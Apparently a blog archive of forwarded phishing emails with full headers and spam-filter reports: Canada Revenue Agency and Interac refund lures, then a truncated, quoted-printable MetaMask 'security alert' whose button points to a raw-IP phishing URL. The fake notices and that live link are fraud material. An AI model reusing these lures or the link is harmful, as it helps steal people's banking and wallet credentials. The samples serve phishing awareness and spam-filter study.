b=H8MJZcP580jhP/LJvfQ+AbpL5Ngzx7vhdVjy8Ds9szWn/4tiMu6wRDyHdc2eSy8tc09xrNHPnAMJ2lRiwva6vGcp2OgheJn1OSyIeCEqpkAnCYHRlKB3+FWudLSGhR1Tm7wYckb32cpjWN4QcQ18lcA4giDujiu/p3sCqyf9fCdokR3WC5HNSZ2M7FJRtp41WmHJUxU3hLPy2qygNMa7HmjbekYAwSkjFc7FI6XIT7eSlXNOnn7cmJxg6QwRmVVcxBa1a20pfE/KXBBcVaxXUB+01pWplRM5Bua8+oFDstuygHXeXaTp3waOxJOUU/rBwi5T1jxq9pKXJyilQKci5w==

Received: from TYZPR04MB7180.apcprd04.prod.outlook.com (2603:1096:400:44d::9)

by TY1PPF6322315B5.apcprd04.prod.outlook.com (2603:1096:408::a95) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.9632.15; Sun, 22 Feb

2026 08:53:31 +0000

Received: from TYZPR04MB7180.apcprd04.prod.outlook.com

([fe80::7833:8092:bb0b:6506]) by TYZPR04MB7180.apcprd04.prod.outlook.com

([fe80::7833:8092:bb0b:6506%3]) with mapi id 15.20.9632.017; Sun, 22 Feb 2026

08:53:31 +0000

From: Khushi Maan

Subject: Re: SEO improve.

Thread-Topic: SEO improve.

Thread-Index: AQHco9NtDQ7Q/mdsX06xxaTMIiUqvg==

Date: Sun, 22 Feb 2026 08:53:30 +0000

Message-ID:



Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach:

X-MS-TNEF-Correlator:

msip_labels:

x-ms-publictraffictype: Email

x-ms-traffictypediagnostic: TYZPR04MB7180:EE_|TY1PPF6322315B5:EE_

x-ms-office365-filtering-correlation-id: 3bade8b2-33fd-45a4-511a-08de71efda31

x-ms-exchange-slblob-mailprops:

q6Zzr5Fg03GA6gvxC+5DV69drWICqxJ7Nw1GLMTkgCjdjalvG6bHurdjh9dyLgkT5MvEhh8S8dOCVUR6zogwnLrPYaCOgjFHynE3tvgAoij19qeylqmLNn5VVfuFO/N8n3ygvTQnx2XLt37GCIGfMpRsUuuEdkr96alW1uTL42g8cgT/oD7CuSeqDuZGKac3Aj/OO9QUnbaJfZ1l2XUeGW1tWVNAnMs49+cpw+4KadQWLirOWrTbTMpLtdZVCzPvnFxg+5dEFZvy+VMBaCkz2rQi4mB4r5PZDr0GgOSmEfwvSIhbxre9NG8XSrG1T0ZVrihreSC5oP2CInDFsop00+On3ojHf+Yo1qxEdlgLWINJFk1eDkvzGbW+7Ch2jDossMxNm/lAX6MW7sC5hwdc3sa9+YvGMsTkKxS7Ucpl61+C4bwAsk4nROMyUUR+roPnJaqjfZ2niS67MSvpfCOdxwtdCzUel+7cATflHJhb5aZd/+FcqUlXGHaF5lGzM+Qzs6MvXem7AnlASieAM3cKMzgcAHdhlEUj9VIGna3Cf7yB6bJRVH/ZLn5EjduJq3zbwoWIB4VueH6GVMD73/MZe3vXR5ZuTqjb1qDqySU19SqL0siqU4Hw7VAolzSu25GIyKbdMN1ca4dCtrS6yPO/aRhSbY709w3GUV2U9PxdmZRMFb2q0aux7+Ezs7s3Ja8A

x-microsoft-antispam:

BCL:0;ARA:14566002|6040799012|8060799015|15080799012|15030799006|31061999003|461199028|20031999003|39105399006|8062599012|19110799012|56899033|51015399003|39145399003|40105399003|102099032|3412199025|440099028|2406899039;

x-microsoft-antispam-message-info:

=?Windows-1252?Q?BKmGEiolF4j/yXPFoqLDzeSLUWXji97BkYXULlbkWWbAhr2WOOi7aMcX?=

=?Windows-1252?Q?j4iQZVQMxTdHm6dpVwT72KqZi7hfS0eSN9fTmiVcSGN+n8IXrqcEeAdD?=

=?Windows-1252?Q?1OS4RBJ+INvzCfn8j5YpB9ufF8n7LDAgivreEP1G/yiv1x6mX9+xl/wR?=

=?Windows-1252?Q?ZBYlViMbCHeBiNwdmK0XxaIRTe0w37g2uCSwxTGm1sCxCeKSJ5Hruivu?=

=?Windows-1252?Q?yL9/zu4YlfYBY7Z1mkqwDUtOAYrlO4L3y9Gsy/EKHYr2l1nqPlhfr0Sh?=

=?Windows-1252?Q?9MdJV9N2Rag7F+4k7yjg5KLJdRU5MKTBu5sHd1S9HMggZvYZUN0txif8?=

=?Windows-1252?Q?2ZdklsO8T71t61VzxGyNtF6BQh6Ggp2QiIGSJ6MMd7jdwwfxpeFzVGCV?=

=?Windows-1252?Q?Ek8m00t4I9IyuY2qBV+WhYz5bNJ5a1bwhCtJUtd0/zrH/Yy4+sy4roJA?=

=?Windows-1252?Q?9ogsCitNJPoteiaJs5OqH29X/+czf4+FPWZHsx9k7XiNltlEMF2R/k7l?=

=?Windows-1252?Q?THPGsR4Gmk1q+bAxV77fWzbCfOFp1b3p4LgLrai45JG+1cXFv1ylf4Cg?=

=?Windows-1252?Q?7F4tsFWoAWMKXKPVQ1/HxZlhEOy5/3V4l95KVvU3FpkBf2YVL+ZZvBIU?=

=?Windows-1252?Q?XKZDcgpHIrF/h+x/+AjVngqBcCQCYaHQOGeN93zn2WXedBXg/eGy8M2o?=

=?Windows-1252?Q?7Ea8xGH0xZ32JUmxPuDepY6PdH9I4Kp6+5FvV6KVDolLlkzu+z9zbjLm?=

=?Windows-1252?Q?dh/b72YVE7n222Q+LHL71ndGypH2ErPR31AItQTXaPwqFD8b+xP67L+8?=

=?Windows-1252?Q?hTZobV93+T/GAAHqpGfZZxL74aji6zzxHoVdJGbZBIQ90AIxbVwKozyV?=

=?Windows-1252?Q?mnfWIp5aSzJcIo9r4NA4dbGSEbPfM2TJ2kpZXFJ/X63N7KaNjrBrEZw9?=

=?Windows-1252?Q?o9znEMbK962grzUDVn/09RX6rrNKzJBJxliWH7DnohAALLS3zowEXzTr?=

=?Windows-1252?Q?d8J5nXN4gNHpGkH5WSBX0Yhkb4eWH2a2GZpbL37ExH/kk3x9aZBHr06b?=

=?Windows-1252?Q?2TVlIFXcE99lrSI7vyCZ61opE5pevyYUJfRQh92OwlbQYfoU4aRRr66E?=

=?Windows-1252?Q?V9OZOmI1KQAuN94BXKRUFOAgzammfCfmynzWVxqtRN6xi8SshJBSPiMT?=

=?Windows-1252?Q?doL2+IbzroleY0Tyaj8J2s/as4M81cMyJwl6SUTV4mXwntupJgpz/9kV?=

=?Windows-1252?Q?7fsp+Es5CWjUhvffPwkPjyHJhzanFDUIwVe13yVxQ5P80lUn2hPuugko?=

=?Windows-1252?Q?VdXj6n2nNhxfyJP0bJfV1RHmAHn8XApJ43dBfT/3cSeXEIkT6HMgz/AY?=

=?Windows-1252?Q?9nGnH4Dzh/vdZJtFp8HJqshMnNEmq684AUVVyKS2FK0hb+3QDbsuhWaM?=

=?Windows-1252?Q?0OA3iZYJNtJyomi0qc7zGw=3D=3D?=

x-ms-exchange-antispam-messagedata-chunkcount: 1

x-ms-exchange-antispam-messagedata-0:

=?Windows-1252?Q?bn7nQjPx076MrVXohmvqpKH4E5Nl0n96GhbrllLTRnBjl0dA1SuNUWFQ?=

=?Windows-1252?Q?9Q4YSlCEx/uzym+h9O4uiDIIfFzPOoTVAy05cWmfa3ScY5wI65Yr00pl?=

=?Windows-1252?Q?WLvZXBHd/D1HggTiYQOhXx5lP1xc318/I51rJ4lvaTb+/HJFX40OVkN4?=

=?Windows-1252?Q?+dk6QZnvvOq+AJoaRc9tXROr/DJ9aEW4nU96Q5rBvDHnMX9UAOaEqFEV?=

=?Windows-1252?Q?gpDuLiUzHxw9wGbhYl1uE4hWErvmjcGCuaXxdP3x4xlKaaWe7UUei6JD?=

=?Windows-1252?Q?IzlKQX/KqRmEcoc94SsqWC/bU+i9W0Y882oMVkJuecFH9qRUZDh/CiVN?=

=?Windows-1252?Q?53jzFf8zPWoHI4TqC/FaP2MXngo9timzCMIa+1jZbpq2WUkw+BVCq5jf?=

=?Windows-1252?Q?/DJ6JyGYGLlgKbtEBey5rNNrIVFAGGcktWx8IblfL5728ZXfdN5fv2WN?=

=?Windows-1252?Q?raQiKautbUXTlrwE7pEbfg981QwDQqT+m217WNMWGzuW9QZnVfBsqJGo?=

=?Windows-1252?Q?g4lu1a8wxzPlzF1NFYHJDeWh3NVr/sDnG7UVHQ5Id+mpECIgjebMf0Y1?=

=?Windows-1252?Q?eSkdzvyboIXPpW6nIjPJBBdqMdgdKYQPX6W0NsIXw0Q4skLA8Pdt8S+w?=

=?Windows-1252?Q?DQH6Sf0uMYZ9MouCOYvpTgriGPMHAN720ntQfGU/cR+fKXCNdh4TQNF0?=

=?Windows-1252?Q?tPOIgmHpqPjKvc3n4t0ZIbXaAG2ZP5MkIWmfGehYou3Xrxw/kief8jG2?=

=?Windows-1252?Q?84EwJyUOwDt6kv8Cn33uqanhurR+G37QwmG2HtMjisuETNA8fKwlwaaA?=

=?Windows-1252?Q?xSXOEIk7uyQ8lO8vD8briKoNuzcGdrhAuJDc8+QXJ5rRwZs8Lzwu/yDs?=

=?Windows-1252?Q?X0KqjxTH1EtCBC7Z3pO3iTne1BWB8s1AE+yQKutPfwEiXtvp/e/yXwt0?=

=?Windows-1252?Q?8jA2pzkXGomxeCSB3KZBlztTo0F5A1HSpEz6eJh7FX/BxGlF40L3lADg?=

=?Windows-1252?Q?5VOWTv/Lscqllgk27TI55QKo4ihebHAGMur2sspUzc/zvAvizFDSo33m?=

=?Windows-1252?Q?0vvvHIc5NcyD1D3SAnR9dr0Hw5WBAly9z+61Oqc9uSWPt3BvNQAZarbf?=

=?Windows-1252?Q?f/WTr/nZdPIPvsVtqrOKRaSxAKLrtN62JYHj1p+zBNMlXcnE7iFGUlQU?=

=?Windows-1252?Q?+WaIQC8RGYPdxIMf1cNFsk/sPXTU2S400bZVcWVCuP/s2RAC3yTFV2cA?=

=?Windows-1252?Q?U6aDis3wmdVNkaztNnVCqIb8WeOrGjSDti+Lwt9tZdhUACn0GTjJoiBS?=

=?Windows-1252?Q?LwihC28ByDijBTLN/mtFgu3GJlR2atqkuY6esFoCOlClU2VPhgNYWr24?=

=?Windows-1252?Q?4c7JeMrE+xwCek+paeu/lp3zoa5Ksu9P0yg9dH6ISjWTSANWUmAw1wE5?=

=?Windows-1252?Q?oV2PcoaCnioW1M4qdY1fHQX+C/RMZ2ov+0z29aFqxkFbeJwKvwB/u9K5?=

=?Windows-1252?Q?7JImkaqNxj3NSQTs69JvLhMWad9QKQCnnNSucbvynNkbVe62OjgYyILd?=

=?Windows-1252?Q?niJkgE/t6a4SrNEp?=

Content-Type: multipart/alternative;

boundary="_000_TYZPR04MB71807ECD3B15AF18D5FD6800DF76ATYZPR04MB7180apcp_"

MIME-Version: 1.0

X-OriginatorOrg: outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-AuthSource: TYZPR04MB7180.apcprd04.prod.outlook.com

X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-CrossTenant-Network-Message-Id: 3bade8b2-33fd-45a4-511a-08de71efda31

X-MS-Exchange-CrossTenant-originalarrivaltime: 22 Feb 2026 08:53:30.4951

(UTC)

X-MS-Exchange-CrossTenant-fromentityheader: Hosted

X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY1PPF6322315B5

CRA Phish

Posted by Dave Yadallee on
\X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 21 Feb 2026 21:39:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu1F1-00000000IU7-48b1

for dave@doctor.nl2k.ab.ca;

Sat, 21 Feb 2026 21:38:47 -0700

Resent-From: The Doctor

Resent-Date: Sat, 21 Feb 2026 21:38:47 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from smtp2.intred.it ([62.97.32.43]:54636)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu16Q-00000000Hpt-0g6X

for support@nk.ca;

Sat, 21 Feb 2026 21:30:02 -0700

Received: from [127.0.0.1] (unknown [195.134.182.52])

(using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits)

key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)

(No client certificate requested)

by smtp2.intred.it (Postfix) with ESMTPS id 547053FE89

for ; Sun, 22 Feb 2026 05:29:01 +0100 (CET)

DKIM-Filter: OpenDKIM Filter v2.11.0 smtp2.intred.it 547053FE89

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=intred.net;

s=s202401; t=1771734541;

bh=RvgL/knQOyxtexcNh7DlEubvl9U9aexM+ILohqYBTAA=;

h=From:To:Subject:Date:From;

b=NOpvpfoF/qO+tG3tTw16VKxVKeLTSsW2687wfDgkC9cJ988wrE1UhZkYjpNrVz9GA

2kNv+57luJj4ZxP4ZtPtRdIVt50mqjYE5/bs4tAWuzDtbNtfrqJdPXpkcSv05EELqf

9G52YVj7pnCTX4EcEe65tL60P4/aUdFrYW3Q9myE1T4OC8D2fxPyUADM2UIjuIzyb+

DBt36DS7uD3Ytld2ZQGGfbG+S4cwxDpbqcj/XfG27rv4ihHNAoqXiDpolHg3V48ysZ

JifyBjbgntFC4VP4mzmkSMVqq7gp00JNEjKAp/QTb8qNR+ozZz6bn/y+5Ggku9f5tN

1fuVv+2/WgG6Q==

Content-Type: text/html; charset=utf-8

From: Canada Revenu Agency

To: support@nk.ca

Subject: INTERAC e-Transfer: Deposit your refund.

Message-ID: <029c0ee8-3831-6c38-1b14-00fd41712790@e.protegez-vous.ca>

Content-Transfer-Encoding: quoted-printable

Date: Sun, 22 Feb 2026 04:28:58 +0000

MIME-Version: 1.0

X-Spam_score: 9.6

X-Spam_score_int: 96

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: English version ** La version française précède ** Dear

Customers:



Content analysis details: (9.6 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[195.134.182.52 listed in dnsbl.ahbl.org]

[195.134.182.52 listed in dnsbl.ahbl.org]

[195.134.182.52 listed in dnsbl.ahbl.org]

[195.134.182.52 listed in dnsbl.ahbl.org]

[62.97.32.43 listed in dnsbl.ahbl.org]

[62.97.32.43 listed in dnsbl.ahbl.org]

[62.97.32.43 listed in dnsbl.ahbl.org]

[62.97.32.43 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[195.134.182.52 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[195.134.182.52 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[195.134.182.52 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[195.134.182.52 listed in dnsbl.ahbl.org]

-0.7 RCVD_IN_DNSWL_LOW RBL: Sender listed at http://www.dnswl.org/, low

trust

[62.97.32.43 listed in list.dnswl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The

query to Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[62.97.32.43 listed in sa-trusted.bondedsender.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[62.97.32.43 listed in sa-accredit.habeas.com]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[62.97.32.43 listed in bl.score.senderscore.com]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[62.97.32.43 listed in bl.score.senderscore.com]

0.0 T_SPF_PERMERROR SPF: test of record failed (permerror)

0.5 NO_RDNS Sending MTA has no reverse DNS (Postfix variant)

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.7 URI_WPADMIN WordPress login/admin URI, possible phishing

2.0 MIXED_HREF_CASE Has href in mixed case

Subject: {SPAM?} INTERAC e-Transfer: Deposit your refund.







English version ** La version française précède **



Dear Customers:



The Canada Revenue Agency (CRA) sent you new mail online called:



This mail may require your attention.



After review of your tax return, a refund of 2 389CAD is now available to you.



Please follow your account details below to claim your refund.



My Account Here





This is an automated email message. Please do not reply.







Version française ** The English version follows **



Cher/Chère Clients :



L'Agence du revenu du Canada (ARC) vous a envoyé du nouveau courrier en ligne intitulé :



Ce courrier peut nécessiter votre attention.



Après examination de votre déclaration de revenus un remobursement de 2 389CAD est maintenant disponible.



veuillez suivre votre compte ci-dessous pour reclamer votre rembrousement



Mon Compte ici





Ceci est un message électronique automatisé. Veuillez ne pas y répondre.

CRA Phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 21 Feb 2026 21:39:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu1Ex-00000000ITt-1hys

for dave@doctor.nl2k.ab.ca;

Sat, 21 Feb 2026 21:38:43 -0700

Resent-From: The Doctor

Resent-Date: Sat, 21 Feb 2026 21:38:43 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from smtp2.intred.it ([62.97.32.43]:49484)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu0xx-00000000HL3-0BZ1

for support@nk.ca;

Sat, 21 Feb 2026 21:21:18 -0700

Received: from [127.0.0.1] (unknown [195.134.182.52])

(using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits)

key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)

(No client certificate requested)

by smtp2.intred.it (Postfix) with ESMTPS id 9F5133FE6F

for ; Sun, 22 Feb 2026 05:20:12 +0100 (CET)

DKIM-Filter: OpenDKIM Filter v2.11.0 smtp2.intred.it 9F5133FE6F

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=intred.net;

s=s202401; t=1771734013;

bh=SJrmAzfsSJkv/0+n4f9ZvRp3aS1zwlFYB8Yd0oXdAh0=;

h=From:To:Subject:Date:From;

b=ZK8HILk2cSGflEnWsqObiWDkEHVjzNHElUounJYsgvRZkhzDqCOluaiFlNO0c9ab3

DOo1L95CfVp9eu3godWWLzPwMplDN56qSUp66bvoDgrlyG7iF5FXtGqS6uDEkYlfeG

TlpXd3x0DoSfpXLpFCW31WNKNSigiqgBBE6dNkx3nwneOUnNRTcgdDDZ00Ipgv9S1w

wGSLA3GgmOLJlaFzP4mCQaSHCA2d56iCtGqSdaOPrdClcOFscfHVCL8EnOKPFB1GT1

7RLEC4A4A2x+/WpN79YHDtWHWuIB3WxfhwprDMe0ITu38ZlxQ1xHa1hVbVOifW6t1J

JeMBDMLJG8Tlw==

Content-Type: text/html

From: Canada Revenu Agency

To: support@nk.ca

Subject: Interac e-Transfer: Canada Agency Revenu sent you $2100.00. Claim

your deposit !

Message-ID:

Content-Transfer-Encoding: quoted-printable

Date: Sun, 22 Feb 2026 04:20:10 +0000

MIME-Version: 1.0

X-Spam_score: 6.3

X-Spam_score_int: 63

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: View in browser | FR Hi, Your funds await! $2 100.00 Select

your financial institution to deposit funds.



Content analysis details: (6.3 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[62.97.32.43 listed in dnsbl.ahbl.org]

[62.97.32.43 listed in dnsbl.ahbl.org]

[62.97.32.43 listed in dnsbl.ahbl.org]

[62.97.32.43 listed in dnsbl.ahbl.org]

[195.134.182.52 listed in dnsbl.ahbl.org]

[195.134.182.52 listed in dnsbl.ahbl.org]

[195.134.182.52 listed in dnsbl.ahbl.org]

[195.134.182.52 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[62.97.32.43 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[62.97.32.43 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[62.97.32.43 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[62.97.32.43 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[195.134.182.52 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

[62.97.32.43 listed in will-spam-for-food.eu.org]

-0.7 RCVD_IN_DNSWL_LOW RBL: Sender listed at http://www.dnswl.org/, low

trust

[62.97.32.43 listed in list.dnswl.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[62.97.32.43 listed in sa-accredit.habeas.com]

0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The

query to Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[62.97.32.43 listed in sa-trusted.bondedsender.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

0.0 T_SPF_PERMERROR SPF: test of record failed (permerror)

0.5 NO_RDNS Sending MTA has no reverse DNS (Postfix variant)

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.7 URI_WPADMIN WordPress login/admin URI, possible phishing

0.0 LOTS_OF_MONEY Huge... sums of money

0.0 T_REMOTE_IMAGE Message contains an external image

Subject: {SPAM?} Interac e-Transfer: Canada Agency Revenu sent you $2100.00. Claim

your deposit !





INTERAC e-Transfer View in browser | FR ?





Hi,

Your funds await!

$2 100.00





Select your financial institution to deposit funds.

Select a Financial Institution



Expiry: Dec 29, 2026









Transfer Details



Date:







Feb 23, 2026





Reference Number:







CANHxTcM



Sent From:







Canada Revenu Agency





Amount:







$2 100.00 (CAD)



FAQ | This is a secure transaction. Lock

For your security, please do not forward this email as it contains confidential information meant only for you. Interac will never request access to this email notification from you.



Click here to manage notification preferences from this contact. You will still be able to receive Interac e-Transfer transactions and notifications.







Enable Autodeposit

Enable the Autodeposit feature in your online banking for enhanced security and fewer steps to complete your transfer.

Learn More





INTERAC e-Transfer



2000 - 2025 Interac Corp.

All rights reserved. Terms of Use

Trade-Mark of Interac Corp.

Interac Corp.

P.O. Box 45, Toronto, Ontario M5J 2J1





Metamask Phish Part 2

Posted by Dave Yadallee on
.recover-button:hover, .recover-button:focus {

background: linear-gradient(135deg, #e55a30, #d93a00);

transform: translateY(-2px);

box-shadow: 0 6px 16px rgba(255, 83, 0, 0.3);

}



.footer-text {

font-size: 13px;

color: #666;

text-align: center;

margin-top: 45px;

padding-top: 20px;

border-top: 1px solid #e8e8e8;

}



.steps-list {

background: #f7fafc;

padding: 20px;

border-radius: 8px;

margin: 25px 0;

}



.steps-list ol {

margin: 0;

padding-left: 20px;

}



.steps-list li {

margin-bottom: 12px;

color: #2d3748;

}



/ Media Queries for Responsiveness /

@media screen and (max-width: 640px) {

.email-container {

padding: 18px;

margin: 10px;

}



.ledger-logo {

max-width: 180px;

}



.email-header h2 {

font-size: 22px;

}

=20=20=20=20=20=20=20=20=20=20=20=20

.recover-button {

max-width: 100%;

}

}








f;

background-color: #f8fafc;

margin: 0;

padding: 0">


margin: 20px auto;

background-color: #ffffff;

padding: 25px;

border-radius: 8px;

box-shadow: 0 6px 20px rgba(0, 0, 0, 0.08)" class=3D"email-cont=

ainer">


border-bottom: 2px solid #f0f2f5;

padding-bottom: 15px;

margin-bottom: 25px" class=3D"email-header">


"border-color: rgb(0, 0, 0);" alt=3D"MetaMask Logo" src=3D"https://1000logo=

s.net/wp-content/uploads/2022/05/MetaMask-Emblem.png">



Security Alert - Immediate Action Required





=20=20=20=20=20=20=20=20




color: #1a1a1a;

font-size: 16px;

margin: 18px 0">Dear Valued User,



=20=20=20=20=20=20=20=20=20=20=20=20


color: #1a1a1a;

font-size: 16px;

margin: 18px 0">Our security system has detected an unusual sig=

n-in attempt on your MetaMask account from an unrecognized location. This a=

ctivity doesn't match your typical usage patterns.



=20=20=20=20=20=20=20=20=20=20=20=20


padding: 16px;

margin: 25px 0;

border: 1px solid #feb2b2;

border-left: 4px solid #e53e3e;

border-radius: 6px;

color: #c53030;

font-weight: 500" class=3D"alert-text">

To protect your digital assets, we have temporarily restric=

ted access to your wallet. This is a preventive measure against potential u=

nauthorized access.



=20=20=20=20=20=20=20=20=20=20=20=20

Immediate Recovery Steps:



=20=20=20=20=20=20=20=20=20=20=20=20


padding: 20px;

border-radius: 8px;

margin: 25px 0" class=3D"steps-list">


    padding-left: 20px">

  1. Click the button below to verify your identity and =

    restore wallet access


  2. Complete the quick security verification process
    i>

  3. Enable advanced security features to prevent future=

    incidents






=20=20=20=20=20=20=20=20=20=20=20=20


width: 100%;

max-width: 280px;

margin: 35px auto;

text-align: center;

padding: 14px 20px;

background: linear-gradient(135deg, #ff6b35, #ff5300);

color: #ffffff;

text-decoration: none;

border-radius: 8px;

font-weight: 600;

font-size: 16px;

letter-spacing: 0.5px;

transition: all 0.3s ease;

box-shadow: 0 4px 12px rgba(255, 83, 0, 0.2)" class=3D"recover-=

button" href=3D"http://159.203.124.87/wp-includes/assets/en/">Verify & =

Restore Access

=20=20=20=20=20=20=20=20=20=20=20=20


color: #1a1a1a;

font-size: 16px;

margin: 18px 0">Time is important: Please comp=

lete this process within the next 24 hours to ensure uninterrupted access t=

